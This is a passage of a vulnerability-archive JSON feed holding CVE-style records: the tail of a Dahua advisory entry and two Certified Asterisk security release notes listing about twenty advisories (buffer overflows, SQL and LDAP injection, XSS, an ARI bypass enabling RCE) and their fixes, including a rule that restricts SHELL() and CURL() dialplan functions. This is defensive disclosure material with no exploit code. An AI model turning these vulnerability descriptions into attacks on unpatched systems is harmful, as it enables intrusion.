          "url": "https://www.dahuasecurity.com/about-dahua/trust-center/dahua-psirt/dhcc-sa-202606-001:-security-advisory-%E2%80%93-vulnerabilities-found-in-some-dahua-products"
        },
        {
          "url": "https://www.dahuasecurity.com/aboutUs/introduction/0"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/120"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CyberDanube Security Research 20260611-0 | Multiple Denial of Service Vulnerabilities in Dahua IPC/SD/NVR/XVR/EVS/VTO/VTH/ASI/TPC Camera Series",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0112",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/120",
            "automated": true,
            "contentSha256": "54334e7e0ace4f2bcef1a02ca2dda1ed94f701594b5a60243bb33f40605d3c52",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/120",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-27T12:13:12Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-07T13:20:22Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0112"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Certified Asterisk Security",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Asterisk Development Team via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Asterisk Development Team would like to announce security release  \nCertified Asterisk 22.8-cert3.\n\nThe release artifacts are available for immediate download at  \nhttps://github.com/asterisk/asterisk/releases/tag/certified-22.8-cert3\nand\nhttps://downloads.asterisk.org/pub/telephony/certified-asterisk\n\nRepository: https://github.com/asterisk/asterisk\nTag: certified-22.8-cert3\n\n\n## Change Log for Release asterisk-certified-22.8-cert3\n\n### Links:\n\n - [Full \nChangeLog](https://downloads.asterisk.org/pub/telephony/certified-asterisk/releases/ChangeLog-certified-22.8-cert3.html)\n  \n - [GitHub Diff](https://github.com/asterisk/asterisk/compare/certified-22.8-cert2...certified-22.8-cert3)  \n - [Tarball](https://downloads.asterisk.org/pub/telephony/certified-asterisk/asterisk-certified-22.8-cert3.tar.gz)  \n - [Downloads](https://downloads.asterisk.org/pub/telephony/certified-asterisk)  \n\n### Summary:\n\n- Commits: 21\n- Commit Authors: 7\n- Issues Resolved: 0\n- Security Advisories Resolved: 20\n  - [GHSA-3g56-cgrh-95p5](https://github.com/asterisk/asterisk/security/advisories/GHSA-3g56-cgrh-95p5): chan_unistim \nDIALPAGE digit handling can overflow phone_number and crash Asterisk\n  - [GHSA-3rhj-hhw7-m6fw](https://github.com/asterisk/asterisk/security/advisories/GHSA-3rhj-hhw7-m6fw): NULL Pointer \nDereference in HTTP AMI Digest Authentication\n  - [GHSA-4pgv-j3mr-3rcp](https://github.com/asterisk/asterisk/security/advisories/GHSA-4pgv-j3mr-3rcp): Reflected XSS \nin Phone Provisioning HTTP Error Pages\n  - [GHSA-589g-qgf8-m6mx](https://github.com/asterisk/asterisk/security/advisories/GHSA-589g-qgf8-m6mx): Stack buffer \noverflow in MWI NOTIFY Message-Account parsing\n  - [GHSA-746q-794h-cc7f](https://github.com/asterisk/asterisk/security/advisories/GHSA-746q-794h-cc7f): Out-of-Bounds \nRead in Q.931 Information Element Parser (H.323 Addon)\n  - [GHSA-8jhw-m2hg-vp3h](https://github.com/asterisk/asterisk/security/advisories/GHSA-8jhw-m2hg-vp3h): Heap Buffer \nOverflow in OGG/Speex File Playback (format_ogg_speex)\n  - [GHSA-8jw3-ccr9-xrmf](https://github.com/asterisk/asterisk/security/advisories/GHSA-8jw3-ccr9-xrmf): Buffer \nover-read in Asterisk PJSIP MWI body parser\n  - [GHSA-g8q2-p36q-94f6](https://github.com/asterisk/asterisk/security/advisories/GHSA-g8q2-p36q-94f6): \nHeap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP processing\n  - [GHSA-h5hv-jmgj-92q2](https://github.com/asterisk/asterisk/security/advisories/GHSA-h5hv-jmgj-92q2): CVE-2022-37325 \nfix is absent from current chan_ooh323 Q.931 party-number parser\n  - [GHSA-j2mm-57pq-jh94](https://github.com/asterisk/asterisk/security/advisories/GHSA-j2mm-57pq-jh94): Possible RED \nT.140 Generation Accumulation OOB Write\n  - [GHSA-mxgm-8c6f-5p8f](https://github.com/asterisk/asterisk/security/advisories/GHSA-mxgm-8c6f-5p8f): Stack buffer \noverflow in res_xmpp XMPP namespace prefix handling\n  - [GHSA-ph27-3m5q-mj5m](https://github.com/asterisk/asterisk/security/advisories/GHSA-ph27-3m5q-mj5m): SQL Injection \nin cel_pgsql and cel_tds via CELGenUserEvent eventtype Field\n  - [GHSA-q9fr-m7g8-6ph5](https://github.com/asterisk/asterisk/security/advisories/GHSA-q9fr-m7g8-6ph5): Asterisk \napp_sms.c copies externally controlled SMS lengths into fixed in-struct buffers\n  - [GHSA-qf8j-jp7h-c5hx](https://github.com/asterisk/asterisk/security/advisories/GHSA-qf8j-jp7h-c5hx): Out-of-Bounds \nWrite in Codec2 Decoder Due to Floor/Ceil Sample Count Mismatch\n  - [GHSA-r6c2-hwc2-j4mp](https://github.com/asterisk/asterisk/security/advisories/GHSA-r6c2-hwc2-j4mp): LDAP Filter \nInjection in res_config_ldap via SIP Username (Unauthenticated Information Disclosure)\n  - [GHSA-vfhr-r9x9-c687](https://github.com/asterisk/asterisk/security/advisories/GHSA-vfhr-r9x9-c687): Possible RED \nT.140 Heap Buffer Overflow\n  - [GHSA-vrfp-mg3q-3959](https://github.com/asterisk/asterisk/security/advisories/GHSA-vrfp-mg3q-3959): ARI \nsetChannelVar bypasses live_dangerously and permits FILE() writes\n  - [GHSA-wcvv-g26m-wx5c](https://github.com/asterisk/asterisk/security/advisories/GHSA-wcvv-g26m-wx5c): ARI \nREST-over-WebSocket read-only bypass allows arbitrary module path load and conditional RCE\n  - [GHSA-x348-j6c9-77f3](https://github.com/asterisk/asterisk/security/advisories/GHSA-x348-j6c9-77f3): Stack Buffer \nOverflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer\n  - [GHSA-xgj6-2gc5-5x9c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xgj6-2gc5-5x9c): ast_loggrabber \nexecutes python script in world writable directory(`/tmp`) leading to potential privilege escalation And RCE\n\n### User Notes:\n\n- #### acl: Add ACL support to http and ari\n  A new section, type=restriction has been added to http.conf\n  to allow an uri prefix based acl to be configured. See\n  http.conf.sample for examples and more information.\n  The user section of ari.conf can now contain an acl configuration\n  to restrict users access. See ari.conf.sample for examples and more\n  information\n\n\n### Upgrade Notes:\n\n\n### Developer Notes:\n\n- #### ARI: Make ARI applications respect live_dangerously.\n  ARI applications can no longer call \"dangerous\" dialplan\n  functions like DB(), FILE(), SHELL(), CURL(), STAT(), etc. without\n  enabling \"live_dangerously\" in asterisk.conf.\n  Resolves: #GHSA-vrfp-mg3q-3959\n\n\n### Commit Authors:\n\n- George Joseph: (6)\n- Joshua C. Colp: (1)\n- Mike Bradeen: (4)\n- Milan Kyselica: (7)\n- Pengpeng Hou: (1)\n- Roberto Paleari: (1)\n- ThatTotallyRealMyth: (1)\n\n## Issue and Commit Detail:\n\n### Closed Issues:\n\n  - !GHSA-3g56-cgrh-95p5: chan_unistim DIALPAGE digit handling can overflow phone_number and crash Asterisk\n  - !GHSA-3rhj-hhw7-m6fw: NULL Pointer Dereference in HTTP AMI Digest Authentication\n  - !GHSA-4pgv-j3mr-3rcp: Reflected XSS in Phone Provisioning HTTP Error Pages\n  - !GHSA-589g-qgf8-m6mx: Stack buffer overflow in MWI NOTIFY Message-Account parsing\n  - !GHSA-746q-794h-cc7f: Out-of-Bounds Read in Q.931 Information Element Parser (H.323 Addon)\n  - !GHSA-8jhw-m2hg-vp3h: Heap Buffer Overflow in OGG/Speex File Playback (format_ogg_speex)\n  - !GHSA-8jw3-ccr9-xrmf: Buffer over-read in Asterisk PJSIP MWI body parser\n  - !GHSA-g8q2-p36q-94f6: Heap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP \nprocessing\n  - !GHSA-h5hv-jmgj-92q2: CVE-2022-37325 fix is absent from current chan_ooh323 Q.931 party-number parser\n  - !GHSA-j2mm-57pq-jh94: Possible RED T.140 Generation Accumulation OOB Write\n  - !GHSA-mxgm-8c6f-5p8f: Stack buffer overflow in res_xmpp XMPP namespace prefix handling\n  - !GHSA-ph27-3m5q-mj5m: SQL Injection in cel_pgsql and cel_tds via CELGenUserEvent eventtype Field\n  - !GHSA-q9fr-m7g8-6ph5: Asterisk app_sms.c copies externally controlled SMS lengths into fixed in-struct buffers\n  - !GHSA-qf8j-jp7h-c5hx: Out-of-Bounds Write in Codec2 Decoder Due to Floor/Ceil Sample Count Mismatch\n  - !GHSA-r6c2-hwc2-j4mp: LDAP Filter Injection in res_config_ldap via SIP Username (Unauthenticated Information \nDisclosure)\n  - !GHSA-vfhr-r9x9-c687: Possible RED T.140 Heap Buffer Overflow\n  - !GHSA-vrfp-mg3q-3959: ARI setChannelVar bypasses live_dangerously and permits FILE() writes\n  - !GHSA-wcvv-g26m-wx5c: ARI REST-over-WebSocket read-only bypass allows arbitrary module path load and conditional RCE\n  - !GHSA-x348-j6c9-77f3: Stack Buffer Overflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer\n  - !GHSA-xgj6-2gc5-5x9c: ast_loggrabber executes python script in world writable directory(`/tmp`) leading to \npotential privilege escalation And RCE\n\n### Commits By Author:\n\n- #### George Joseph (6):\n  - chan_unistim.c: Prevent overrun of phone_number field.\n  - res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.\n  - pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.\n  - ooh323c/ooq931.c: Ensure ooQ931Decode doesn\u0027t run out-of-bounds.\n  - ARI: Make ARI applications respect live_dangerously.\n  - res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.\n\n- #### Joshua C. Colp (1):\n  - build: Fix GCC discarded-qualifiers const errors.\n\n- #### Mike Bradeen (4):\n  - ooh323c: not checking for IE minimum length\n  - manager: Use remote address in user error logging\n  - ooh323: Prevent potential buffer overflow in trace logging\n  - acl: Add ACL support to http and ari\n\n- #### Milan Kyselica (7):\n  - res_xmpp: Fix stack buffer overflow in namespace prefix handling\n  - res_pjsip_pubsub: Add width limit to sscanf in MWI NOTIFY parser\n  - res_config_ldap: Escape LDAP filter values per RFC 4515\n  - cel_pgsql, cel_tds: Escape eventtype field to prevent SQL injection\n  - http: Escape error page text to prevent reflected XSS\n  - codec_codec2: Only process complete Codec2 frames in decoder\n  - format_ogg_speex: Add bounds check to prevent heap buffer overflow\n\n- #### Pengpeng Hou (1):\n  - app_sms: Bound protocol 1 SMS unpacking to fixed-size buffers\n\n- #### Roberto Paleari (1):\n  - res/res_pjsip_pubsub.c: Fix buffer over-read in MWI body parser\n\n- #### ThatTotallyRealMyth (1):\n  - ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.\n\n### Commit List:\n\n-  ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.\n-  chan_unistim.c: Prevent overrun of phone_number field.\n-  ooh323c: not checking for IE minimum length\n-  res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.\n-  pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.\n-  ooh323c/ooq931.c: Ensure ooQ931Decode doesn\u0027t run out-of-bounds.\n-  ARI: Make ARI applications respect live_dangerously.\n-  res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.\n-  res/res_pjsip_pubsub.c: Fix buffer over-read in MWI body parser\n-  manager: Use remote address in user error logging\n-  ooh323: Prevent potential buffer overflow in trace logging\n-  app_sms: Bound protocol 1 SMS unpacking to fixed-size buffers\n-  res_xmpp: Fix stack buffer overflow in namespace prefix handling\n-  res_pjsip_pubsub: Add width limit to sscanf in MWI NOTIFY parser\n-  res_config_ldap: Escape LDAP filter values per RFC 4515\n-  cel_pgsql, cel_tds: Escape eventtype field to prevent SQL injection\n-  http: Escape error page text to prevent reflected XSS\n-  codec_codec2: Only process complete Codec2 frames in decoder\n-  format_ogg_speex: Add bounds check to prevent heap buffer overflow\n-  acl: Add ACL support to http and ari\n-  build: Fix GCC discarded-qualifiers const errors.\n\n### Commit Details:\n\n#### ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.\n  Author: ThatTotallyRealMyth\n  Date:   2026-03-19\n\n  The ast_tsconvert.py script called by ast_loggrabber is now installed in a\n  temporary directory that isn\u0027t world readable or writable.\n\n  Resolves: #GHSA-xgj6-2gc5-5x9c\n\n#### chan_unistim.c: Prevent overrun of phone_number field.\n  Author: George Joseph\n  Date:   2026-06-15\n\n  Add a check to key_dial_page() to ensure that dialed digits won\u0027t overrun\n  the phone_number field.\n\n  Resolves: #GHSA-3g56-cgrh-95p5\n\n#### ooh323c: not checking for IE minimum length\n  Author: Mike Bradeen\n  Date:   2022-06-06\n\n  When decoding q.931 encoded calling/called number\n  now checking for length being less than minimum required.\n\n  Resolves: #GHSA-h5hv-jmgj-92q2\n\n#### res_ari: Ensure read-only users are properly authorized via REST Over WebSocket.\n  Author: George Joseph\n  Date:   2026-06-12\n\n  The REST over WebSocket path now properly prevents non-GET methods from\n  being executed on inbound WebSockets.\n\n  * The query parameters from the original incoming GET request that caused the\n  upgrade to WebSocket are now passed to all REST requests that come from the\n  client. This ensures that if the client authenticated with a read-only\n  userid using the \"api_key\" query_string parameter, REST requests coming\n  in over the WebSocket will only be able to execute GETs on resources.\n  The HTTP headers"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-07T13:20:22Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/2"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/2"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/certified-asterisk"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/certified-asterisk/asterisk-certified-22.8-cert3.tar.gz"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/certified-asterisk/releases/ChangeLog-certified-22.8-cert3.html"
        },
        {
          "url": "https://github.com/asterisk/asterisk"
        },
        {
          "url": "https://github.com/asterisk/asterisk/compare/certified-22.8-cert2...certified-22.8-cert3"
        },
        {
          "url": "https://github.com/asterisk/asterisk/releases/tag/certified-22.8-cert3"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-3g56-cgrh-95p5"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-3rhj-hhw7-m6fw"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-4pgv-j3mr-3rcp"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-589g-qgf8-m6mx"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-746q-794h-cc7f"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-8jhw-m2hg-vp3h"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-8jw3-ccr9-xrmf"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-g8q2-p36q-94f6"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-h5hv-jmgj-92q2"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-j2mm-57pq-jh94"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-mxgm-8c6f-5p8f"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-ph27-3m5q-mj5m"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-q9fr-m7g8-6ph5"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-qf8j-jp7h-c5hx"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-r6c2-hwc2-j4mp"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-vfhr-r9x9-c687"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-vrfp-mg3q-3959"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-wcvv-g26m-wx5c"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-x348-j6c9-77f3"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-xgj6-2gc5-5x9c"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/2"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Certified Asterisk Security Release certified-22.8-cert3",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0107",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/2",
            "automated": true,
            "contentSha256": "b712e9748a7125057bdb7eb0e3d1e141140365e1ff7eff55cda23ee0a4a1d77b",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/2",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-25T17:09:26Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-07T13:20:22Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0107"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Certified Asterisk Security",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Asterisk Development Team via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Asterisk Development Team would like to announce security release  \nCertified Asterisk 20.7-cert11.\n\nThe release artifacts are available for immediate download at  \nhttps://github.com/asterisk/asterisk/releases/tag/certified-20.7-cert11\nand\nhttps://downloads.asterisk.org/pub/telephony/certified-asterisk\n\nRepository: https://github.com/asterisk/asterisk\nTag: certified-20.7-cert11\n\n\n## Change Log for Release asterisk-certified-20.7-cert11\n\n### Links:\n\n - [Full \nChangeLog](https://downloads.asterisk.org/pub/telephony/certified-asterisk/releases/ChangeLog-certified-20.7-cert11.html)\n  \n - [GitHub Diff](https://github.com/asterisk/asterisk/compare/certified-20.7-cert10...certified-20.7-cert11)  \n - [Tarball](https://downloads.asterisk.org/pub/telephony/certified-asterisk/asterisk-certified-20.7-cert11.tar.gz)  \n - [Downloads](https://downloads.asterisk.org/pub/telephony/certified-asterisk)  \n\n### Summary:\n\n- Commits: 18\n- Commit Authors: 7\n- Issues Resolved: 0\n- Security Advisories Resolved: 18\n  - [GHSA-3g56-cgrh-95p5](https://github.com/asterisk/asterisk/security/advisories/GHSA-3g56-cgrh-95p5): chan_unistim \nDIALPAGE digit handling can overflow phone_number and crash Asterisk\n  - [GHSA-3rhj-hhw7-m6fw](https://github.com/asterisk/asterisk/security/advisories/GHSA-3rhj-hhw7-m6fw): NULL Pointer \nDereference in HTTP AMI Digest Authentication\n  - [GHSA-4pgv-j3mr-3rcp](https://github.com/asterisk/asterisk/security/advisories/GHSA-4pgv-j3mr-3rcp): Reflected XSS \nin Phone Provisioning HTTP Error Pages\n  - [GHSA-589g-qgf8-m6mx](https://github.com/asterisk/asterisk/security/advisories/GHSA-589g-qgf8-m6mx): Stack buffer \noverflow in MWI NOTIFY Message-Account parsing\n  - [GHSA-746q-794h-cc7f](https://github.com/asterisk/asterisk/security/advisories/GHSA-746q-794h-cc7f): Out-of-Bounds \nRead in Q.931 Information Element Parser (H.323 Addon)\n  - [GHSA-8jhw-m2hg-vp3h](https://github.com/asterisk/asterisk/security/advisories/GHSA-8jhw-m2hg-vp3h): Heap Buffer \nOverflow in OGG/Speex File Playback (format_ogg_speex)\n  - [GHSA-8jw3-ccr9-xrmf](https://github.com/asterisk/asterisk/security/advisories/GHSA-8jw3-ccr9-xrmf): Buffer \nover-read in Asterisk PJSIP MWI body parser\n  - [GHSA-g8q2-p36q-94f6](https://github.com/asterisk/asterisk/security/advisories/GHSA-g8q2-p36q-94f6): \nHeap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP processing\n  - [GHSA-j2mm-57pq-jh94](https://github.com/asterisk/asterisk/security/advisories/GHSA-j2mm-57pq-jh94): Possible RED \nT.140 Generation Accumulation OOB Write\n  - [GHSA-mxgm-8c6f-5p8f](https://github.com/asterisk/asterisk/security/advisories/GHSA-mxgm-8c6f-5p8f): Stack buffer \noverflow in res_xmpp XMPP namespace prefix handling\n  - [GHSA-ph27-3m5q-mj5m](https://github.com/asterisk/asterisk/security/advisories/GHSA-ph27-3m5q-mj5m): SQL Injection \nin cel_pgsql and cel_tds via CELGenUserEvent eventtype Field\n  - [GHSA-q9fr-m7g8-6ph5](https://github.com/asterisk/asterisk/security/advisories/GHSA-q9fr-m7g8-6ph5): Asterisk \napp_sms.c copies externally controlled SMS lengths into fixed in-struct buffers\n  - [GHSA-qf8j-jp7h-c5hx](https://github.com/asterisk/asterisk/security/advisories/GHSA-qf8j-jp7h-c5hx): Out-of-Bounds \nWrite in Codec2 Decoder Due to Floor/Ceil Sample Count Mismatch\n  - [GHSA-r6c2-hwc2-j4mp](https://github.com/asterisk/asterisk/security/advisories/GHSA-r6c2-hwc2-j4mp): LDAP Filter \nInjection in res_config_ldap via SIP Username (Unauthenticated Information Disclosure)\n  - [GHSA-vfhr-r9x9-c687](https://github.com/asterisk/asterisk/security/advisories/GHSA-vfhr-r9x9-c687): Possible RED \nT.140 Heap Buffer Overflow\n  - [GHSA-vrfp-mg3q-3959](https://github.com/asterisk/asterisk/security/advisories/GHSA-vrfp-mg3q-3959): ARI \nsetChannelVar bypasses live_dangerously and permits FILE() writes\n  - [GHSA-x348-j6c9-77f3](https://github.com/asterisk/asterisk/security/advisories/GHSA-x348-j6c9-77f3): Stack Buffer \nOverflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer\n  - [GHSA-xgj6-2gc5-5x9c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xgj6-2gc5-5x9c): ast_loggrabber \nexecutes python script in world writable directory(`/tmp`) leading to potential privilege escalation And RCE\n\n### User Notes:\n\n\n### Upgrade Notes:\n\n\n### Developer Notes:\n\n- #### ARI: Make ARI applications respect live_dangerously.\n  ARI applications can no longer call \"dangerous\" dialplan\n  functions like DB(), FILE(), SHELL(), CURL(), STAT(), etc. without\n  enabling \"live_dangerously\" in asterisk.conf.\n  Resolves: #GHSA-vrfp-mg3q-3959\n\n\n### Commit Authors:\n\n- George Joseph: (5)\n- Joshua C. Colp: (1)\n- Mike Bradeen: (2)\n- Milan Kyselica: (7)\n- Pengpeng Hou: (1)\n- Roberto Paleari: (1)\n- ThatTotallyRealMyth: (1)\n\n## Issue and Commit Detail:\n\n### Closed Issues:\n\n  - !GHSA-3g56-cgrh-95p5: chan_unistim DIALPAGE digit handling can overflow phone_number and crash Asterisk\n  - !GHSA-3rhj-hhw7-m6fw: NULL Pointer Dereference in HTTP AMI Digest Authentication\n  - !GHSA-4pgv-j3mr-3rcp: Reflected XSS in Phone Provisioning HTTP Error Pages\n  - !GHSA-589g-qgf8-m6mx: Stack buffer overflow in MWI NOTIFY Message-Account parsing\n  - !GHSA-746q-794h-cc7f: Out-of-Bounds Read in Q.931 Information Element Parser (H.323 Addon)\n  - !GHSA-8jhw-m2hg-vp3h: Heap Buffer Overflow in OGG/Speex File Playback (format_ogg_speex)\n  - !GHSA-8jw3-ccr9-xrmf: Buffer over-read in Asterisk PJSIP MWI body parser\n  - !GHSA-g8q2-p36q-94f6: Heap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP \nprocessing\n  - !GHSA-j2mm-57pq-jh94: Possible RED T.140 Generation Accumulation OOB Write\n  - !GHSA-mxgm-8c6f-5p8f: Stack buffer overflow in res_xmpp XMPP namespace prefix handling\n  - !GHSA-ph27-3m5q-mj5m: SQL Injection in cel_pgsql and cel_tds via CELGenUserEvent eventtype Field\n  - !GHSA-q9fr-m7g8-6ph5: Asterisk app_sms.c copies externally controlled SMS lengths into fixed in-struct buffers\n  - !GHSA-qf8j-jp7h-c5hx: Out-of-Bounds Write in Codec2 Decoder Due to Floor/Ceil Sample Count Mismatch\n  - !GHSA-r6c2-hwc2-j4mp: LDAP Filter Injection in res_config_ldap via SIP Username (Unauthenticated Information \nDisclosure)\n  - !GHSA-vfhr-r9x9-c687: Possible RED T.140 Heap Buffer Overflow\n  - !GHSA-vrfp-mg3q-3959: ARI setChannelVar bypasses live_dangerously and permits FILE() writes\n  - !GHSA-x348-j6c9-77f3: Stack Buffer Overflow in H.323 ooTrace() via Unbounded vsprintf into Fixed 2048-byte Buffer\n  - !GHSA-xgj6-2gc5-5x9c: ast_loggrabber executes python script in world writable directory(`/tmp`) leading to \npotential privilege escalation And RCE\n\n### Commits By Author:\n\n- #### George Joseph (5):\n  - chan_unistim.c: Prevent overrun of phone_number field.\n  - pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.\n  - ooh323c/ooq931.c: Ensure ooQ931Decode doesn\u0027t run out-of-bounds.\n  - ARI: Make ARI applications respect live_dangerously.\n  - res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.\n\n- #### Joshua C. Colp (1):\n  - build: Fix GCC discarded-qualifiers const errors.\n\n- #### Mike Bradeen (2):\n  - manager: Use remote address in user error logging\n  - ooh323: Prevent potential buffer overflow in trace logging\n\n- #### Milan Kyselica (7):\n  - res_xmpp: Fix stack buffer overflow in namespace prefix handling\n  - res_pjsip_pubsub: Add width limit to sscanf in MWI NOTIFY parser\n  - res_config_ldap: Escape LDAP filter values per RFC 4515\n  - cel_pgsql, cel_tds: Escape eventtype field to prevent SQL injection\n  - http: Escape error page text to prevent reflected XSS\n  - codec_codec2: Only process complete Codec2 frames in decoder\n  - format_ogg_speex: Add bounds check to prevent heap buffer overflow\n\n- #### Pengpeng Hou (1):\n  - app_sms: Bound protocol 1 SMS unpacking to fixed-size buffers\n\n- #### Roberto Paleari (1):\n  - res/res_pjsip_pubsub.c: Fix buffer over-read in MWI body parser\n\n- #### ThatTotallyRealMyth (1):\n  - ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.\n\n### Commit List:\n\n-  ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.\n-  chan_unistim.c: Prevent overrun of phone_number field.\n-  pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.\n-  ooh323c/ooq931.c: Ensure ooQ931Decode doesn\u0027t run out-of-bounds.\n-  ARI: Make ARI applications respect live_dangerously.\n-  res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.\n-  res/res_pjsip_pubsub.c: Fix buffer over-read in MWI body parser\n-  manager: Use remote address in user error logging\n-  ooh323: Prevent potential buffer overflow in trace logging\n-  app_sms: Bound protocol 1 SMS unpacking to fixed-size buffers\n-  res_xmpp: Fix stack buffer overflow in namespace prefix handling\n-  res_pjsip_pubsub: Add width limit to sscanf in MWI NOTIFY parser\n-  res_config_ldap: Escape LDAP filter values per RFC 4515\n-  cel_pgsql, cel_tds: Escape eventtype field to prevent SQL injection\n-  http: Escape error page text to prevent reflected XSS\n-  codec_codec2: Only process complete Codec2 frames in decoder\n-  format_ogg_speex: Add bounds check to prevent heap buffer overflow\n-  build: Fix GCC discarded-qualifiers const errors.\n\n### Commit Details:\n\n#### ast_loggrabber: Install the ast_tsconvert.py script to a secure temp directory.\n  Author: ThatTotallyRealMyth\n  Date:   2026-03-19\n\n  The ast_tsconvert.py script called by ast_loggrabber is now installed in a\n  temporary directory that isn\u0027t world readable or writable.\n\n  Resolves: #GHSA-xgj6-2gc5-5x9c\n\n#### chan_unistim.c: Prevent overrun of phone_number field.\n  Author: George Joseph\n  Date:   2026-06-15\n\n  Add a check to key_dial_page() to ensure that dialed digits won\u0027t overrun\n  the phone_number field.\n\n  Resolves: #GHSA-3g56-cgrh-95p5\n\n#### pjsip_message_filter: Use pj_strdup instead of pj_strassign to save local address.\n  Author: George Joseph\n  Date:   2026-06-10\n\n  The filter_on_tx_message() function was using pj_strassign() to save the pointer\n  of the pjproject transport local address to a local pj_str_t variable.  That\n  variable was ultimately used to set the Contact header\u0027s uri-\u003ehost and the SDP\n  connection attribute\u0027s address again using pj_strassign.  pj_strassign() doesn\u0027t\n  copy the actual value of the pj_str_t however, it just copies the pointer so\n  if a connection-oriented transport is disconnected before the 200 OK with the\n  SDP is sent, 